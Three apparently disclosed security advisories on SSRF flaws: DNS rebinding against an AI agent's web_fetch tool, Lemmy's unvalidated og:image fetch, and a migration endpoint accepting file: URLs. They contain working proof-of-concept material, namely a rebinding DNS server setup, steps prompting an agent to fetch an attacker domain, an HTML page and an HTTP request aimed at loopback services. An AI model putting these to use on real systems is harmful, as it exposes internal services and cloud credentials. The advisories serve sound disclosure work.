  "details": "### Summary\n\nA DNS rebinding vulnerability in the `web_fetch` tool allows an unauthenticated attacker to bypass URL validation and access internal resources on the server, including private IP addresses (e.g., 127.0.0.1, 192.168.x.x). By crafting a malicious domain that resolves to a public IP during validation and subsequently resolves to a private IP during execution, an attacker can access sensitive local services and potentially exfiltrate data.\n\n### Details\n\nThe vulnerability exists because the `web_fetch` tool lacks complete DNS pinning. The application performs URL validation only once via `validateParams()`, but the URL is then passed unchanged to the `fetchHTMLContent()` function, which eventually reaches `fetchWithChromedp()`. The headless browser (Chromedp) resolves the hostname independently without DNS pinning, allowing a time-of-check-time-of-use (TOCTOU) attack.\n\n**Validation phase (first DNS resolution):**\n```go\nif err := t.validateParams(p); err != nil {\n    // Returns error for private IPs\n    results[index] = \u0026webFetchItemResult{\n        err: err,\n        // ...\n    }\n    return\n}\n```\n\n**Execution phase (second DNS resolution):**\nThe original URL (not the resolved IP) is passed through the execution chain:\n```go\noutput, data, err := t.executeFetch(ctx, p)\n// Calls fetchHTMLContent(ctx, targetURL) where targetURL is the original hostname\n```\n\n**Chromedp execution (vulnerable DNS resolution):**\n```go\nfunc (t *WebFetchTool) fetchWithChromedp(ctx context.Context, targetURL string) (string, error) {\n    // targetURL is not DNS-pinned; browser resolves it independently\n    err := chromedp.Run(ctx,\n        chromedp.Navigate(targetURL),  // Third DNS lookup occurs here\n        chromedp.WaitReady(\"body\", chromedp.ByQuery),\n        chromedp.OuterHTML(\"html\", \u0026html),\n    )\n}\n```\n\nThe attacker controls a domain that can be configured to return different DNS responses to different queries, enabling them to bypass the initial private IP check and access restricted resources during the actual fetch.\n\n### PoC\n\n**Setup:**\n1. Deploy the DNS rebinding server (attached Python file) with the following systemd configuration:\n\n```systemd\n[Unit]\nDescription=DNS Rebinding Test Server\nAfter=network.target\n\n[Service]\nType=simple\nUser=root\nWorkingDirectory=/root/Repos/dns-rebinding-server\nExecStart=/root/.proto/shims/python -u /root/Repos/dns-rebinding-server/server.py --token aleister1102 --domain aleister.ninja --port 53 --global-tracking --ip1 1.1.1.1 --ip2 0.0.0.0 --first-response-count 1 --reset-time 0\nRestart=always\nRestartSec=3\n\n[Install]\nWantedBy=multi-user.target\n ```\n \n This configures the DNS server to:\n - Return `1.1.1.1` (a public IP) for the first DNS query\n - Return `127.0.0.1` (localhost) for all subsequent queries\n - TTL is set to 0 to prevent caching\n \n The sequence can also be reset via reset.domain.com (reset to 1.1.1.1).\n \n \u003e Note: We may need to reset the sequence as the TOCTOU attack is not truly reliable and needs to be triggered multiple times.\n\n2. Set up a simple HTTP server on the localhost of the backend service:\n\n ```bash\n python -m http.server 8888\n ```\n\n3. Configure the malicious domain to point to the DNS rebinding server\n\n**Execution:**\n1. Enable web search on an agent.\n2. Prompt the agent to fetch content from the attacker-controlled domain (e.g., `http://attacker.example.com`)\n3. The sequence of events:\n   - **First DNS query** (validation phase): `attacker.example.com` \u2192 `1.1.1.1` \u2713 Passes validation\n   - **Second DNS query** (execution phase): `attacker.example.com` \u2192 `127.0.0.1` \u2717 Bypass achieved\n   - The `web_fetch` tool successfully connects to `127.0.0.1:8080` and returns the local server\u0027s content\n\n**Result:**\nThe attacker gains access to the local HTTP server and can read its content, demonstrating that internal resources are now accessible through the rebinding attack.\n\n\u003cimg width=\"1920\" height=\"1080\" alt=\"image\" src=\"https://github.com/user-attachments/assets/897e8494-f39e-49ce-a02a-5832bb84a73f\" /\u003e\n\nPoC video:\n\nhttps://github.com/user-attachments/assets/68daaa87-4b9b-4b6e-b6f6-ee123f5fcda9\n\n### Impact\n**Vulnerability Type:** DNS Rebinding / Server-Side Request Forgery (SSRF)\n\n**Who is impacted:**\n- Any user or agent with web search capability can exploit this vulnerability\n- The vulnerability grants access to internal services, configuration files, metadata services, and other sensitive resources normally restricted to the internal network\n- In cloud environments, this could allow access to metadata endpoints (e.g., AWS IMDSv1) to obtain credentials and secrets\\",

  "details": "### Summary\nLemmy fetches metadata for user-supplied post URLs and, under the default `StoreLinkPreviews` image mode, downloads the preview image through local pict-rs. While the top-level page URL is checked against internal IP ranges, the extracted `og:image` URL is not subject to the same restriction.\n\nAs a result, an authenticated low-privileged user can submit an attacker-controlled public page whose Open Graph image points to an internal image endpoint. Lemmy will fetch that internal image server-side and store a local thumbnail that can then be served back to users.\n\n### Details\nThe metadata fetch logic applies an internal-address check only to the initial post URL. After HTML parsing, `extract_opengraph_data()` accepts absolute `og:image` values and returns them as-is. Later, `generate_post_link_metadata()` passes that second-hop image URL into `generate_pictrs_thumbnail()`, which instructs local pict-rs to fetch it through `image/download?url=...`.\n\nThis creates a two-stage source-to-sink chain where the first URL is constrained, but the security boundary is bypassed through an unvalidated secondary resource.\n\nCore vulnerable code path:\n\n```rust\n// crates/api_common/src/request.rs\nlet metadata = match \u0026post.url {\n  Some(url) =\u003e fetch_link_metadata(url, \u0026context, false).await.unwrap_or_default(),\n  _ =\u003e Default::default(),\n};\n```\n\n```rust\n// crates/api_common/src/request.rs\nlet og_image = page\n  .opengraph\n  .images\n  .first()\n  .and_then(|ogo| url.join(\u0026ogo.url).ok());\n```\n\n```rust\n// crates/api_common/src/request.rs\nlet thumbnail_url = if let (true, Some(url)) = (allow_generate_thumbnail, image_url.clone()) {\n  generate_pictrs_thumbnail(\u0026url, \u0026context).await.ok().map(Into::into).or(image_url)\n} else {\n  image_url.clone()\n};\n```\n\n```rust\n// crates/api_common/src/request.rs\nlet fetch_url = format!(\n  \"{}image/download?url={}\u0026resize={}\",\n  pictrs_config.url,\n  encode(image_url.as_str()),\n  context.settings().pictrs_config()?.max_thumbnail_size\n);\n```\n\nThese snippets show that only the outer page URL is checked, while the extracted `og:image` value becomes a server-side fetch target without an equivalent internal-address guard.\n\n### PoC\nPrerequisites:\n\n- The attacker has a valid low-privileged account.\n- The instance uses the default link preview storage mode.\n- The attacker can post a link to a community they can access.\n\nPractical reproduction flow:\n\n1. Host a public HTML page under attacker control.\n2. Add an Open Graph image tag whose value points to an internal image URL reachable from the Lemmy host, such as `http://127.0.0.1:8081/internal.png`.\n3. Create a Lemmy post whose `url` is the attacker-controlled page.\n4. Observe Lemmy fetch the public page, extract `og:image`, and then fetch the internal image through pict-rs.\n5. Observe the created post receive a local thumbnail URL, demonstrating that the internal image was retrieved and cached.\n\nComplete PoC attacker page:\n\n```html\n\u003chtml\u003e\u003chead\u003e\n\u003cmeta property=\"og:image\" content=\"http://127.0.0.1:8081/internal.png\"\u003e\n\u003c/head\u003e\u003cbody\u003ex\u003c/body\u003e\u003c/html\u003e\n```\n\nComplete PoC request:\n\n```http\nPOST /api/v3/post HTTP/1.1\nHost: victim.example\nAuthorization: Bearer \u003clow-priv-jwt\u003e\nContent-Type: application/json\n\n{\n  \"name\": \"thumb-ssrf\",\n  \"community_id\": 1,\n  \"url\": \"https://attacker.example/og.html\",\n  \"body\": null,\n  \"alt_text\": null,\n  \"honeypot\": null,\n  \"nsfw\": false,\n  \"language_id\": null,\n  \"custom_thumbnail\": null\n}\n```\n\nOutcome:\n\n- The post creation request succeeds.\n- The internal image endpoint receives a request from the Lemmy server.\n- The created post is updated with a local `thumbnail_url`, indicating that the internal image was fetched and cached.\n\n### Impact\nThis issue upgrades an attacker-controlled external page into an internal image fetch primitive. It can be used to retrieve internal image resources, expose content that is otherwise reachable only from the application host, and publish those internal resources through Lemmy\u0027s own thumbnail serving path.\n\nBecause the vulnerable mode is the documented default behavior for link previews, the issue is relevant even without non-default privacy settings.",

  "details": "### Summary\nThe base-migration endpoint accepted a caller-supplied URL that the migration worker\ndereferenced without enforcing protocol or destination, allowing scheme abuse\n(`file:`, `ftp:`, etc.) and probing of internal HTTP destinations.\n\n### Details\nThe `migrate` endpoint is restricted to the workspace owner role by ACL. The remaining\ngaps were (a) protocol validation \u2014 the controller now parses `body.migrationUrl` as a\n`URL` and rejects anything whose protocol is not `http:` or `https:` \u2014 and (b) private\ndestination filtering \u2014 the worker already runs through `useAgent(targetUrl)` from\n`request-filtering-agent`, which blocks RFC 1918, loopback, and link-local at the\nsocket layer.\n\n### Impact\nWith the workspace owner role, a malformed URL could be used to coerce the migration\nworker into reading local files or talking to non-HTTP services; combined with the\nHTTP-only filter, owner-supplied targets could not reach private ranges.\n\n### Credit\nThis issue was reported by Devel Group Security Research Team through [@TREXNEGRO](https://github.com/TREXNEGRO).\nIt was independently reported by [@Lihfdgjr](https://github.com/Lihfdgjr) and [@bugbunny-research (https://github.com/bugbunny-research).",
